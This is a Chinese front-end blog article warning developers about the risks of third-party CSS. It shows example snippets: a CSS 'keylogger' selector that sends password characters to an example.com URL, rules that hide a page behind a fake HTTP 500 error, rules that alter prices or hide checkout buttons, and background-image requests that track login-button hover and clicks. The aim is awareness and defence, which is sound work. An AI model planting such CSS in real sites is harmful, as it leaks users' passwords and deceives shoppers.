前端讀者 | 別人寫的css，你敢用嗎？
本文來自@yeaseonzhang；連結：http://yeaseonzhang.github.io/2018/04/10/%E5%88%AB%E4%BA%BA%E5%86%99%E7%9A%84css%EF%BC%8C%E4%BD%A0%E6%95%A2%E7%94%A8%E5%90%97%EF%BC%9F/
CSS能做的東西還是很多的，隨著CSS Houdini（胡迪尼）的標準化，會變得更強大...
正文從這裡開始 ~
為了實現高效開發，大多數時候會選擇別人實現好的庫/元件引用到自己的專案中，但是這樣真的安全嗎？
大多數web開發者認為只要不使用別人的js，安全就會有保證。Too young, too naive，殊不知“黑客”已經開始在css上做手腳了。
在瀏覽器設定中使用者可以禁用js，但是css卻是沒有辦法禁用的。
首先聊一聊使用第三方資源，能夠造成的危害。
圖片
<img src="https://img.com/iphone6s.jpg">引用第三方圖片資源，可能會出現2個問題：
- 圖片資源失效
- 圖片資源被替換
上圖展示了使用第三方圖片可能帶來的後果，圖片資源只會影響自身的狀態而不會影響其他部分。
指令碼Javascript
<script src="http://example.com/script.js"></script>指令碼的作用範圍就不是圖片能夠比擬的了，指令碼能夠隨意控制整個頁面。
- 讀取、篡改頁面內容
- 監控使用者行為
- 使用使用者瀏覽器的算力進行挖礦
- 使用使用者cookie做請求，並轉發響應
- 讀取、篡改瀏覽器storage
- More
注：storage/indexDB 如果被更改，即使刪除了指令碼，這些更改仍然不可逆。
只有在完全信任的情況下，才會選擇載入第三方指令碼。
CSS
css在作用範圍的方面更加接近於js，因為它同樣是在整個頁面生效。
css能在以下幾個方面對頁面進行操作：
- 增、刪和改頁面內容
- 根據頁面內容發起請求
- 響應使用者互動
與js相比，css不能做到的是修改storage，也不能用來挖礦。
鍵盤記錄器
鍵盤記錄器，指的是頁面會記錄使用者的輸入。目前這種行為只存在於使用React/類React框架的頁面。
input[type="password"][value$="p"] {
background: url(//example.com/password?p);
}如果密碼輸入框，輸入以p結尾的密碼，就會發起一個//exaple.com/password?p請求。瀏覽器預設不會記住input輸入框的輸入，這也就是為什麼說這種行為只存在於使用React/類React框架的頁面中，下面擷取兩個例子。
JD主站沒有使用React/類React框架，輸入框的內容不會再input標籤中顯示value屬性
instagram使用的是React框架，會把輸入框的內容同步顯示在input的value屬性中。
隱藏內容
通過一些技巧，將真正的頁面內容不展示給使用者。
body {
display: none;
}
html::after {
content: 'HTTP 500 Server Error';
}上例將真正的主體內容隱藏，展示給使用者HTTP 500錯誤。
增加內容
.price-value::after {
content: '8';
}
商品漲價了誒，估計連賣家都不知道。遇到這種情況使用者一般都不會產生購買慾望了。
移動內容
.move-purchase-button {
opacity: 0;
position: absolute;
top: 100px;
left: 100px;
}
結算按鈕被第三方css就這樣搞沒了，使用者根本沒辦法完成購買行為，這種情況對電商網站很傷，導致“只能看不能買”。
監控使用者互動
.login-button:hover {
background: url('//example.com/login-button-hover');
}
.login-button:active {
background: url('//example.com/login-button-active');
}通過上面的程式碼，可以用來檢測使用者在登入按鈕的互動狀態，是hover還是active(點選)，不同的狀態會發送不同的請求。
如果頁面中適量增加類似css程式碼，可以有用來做使用者畫像分析。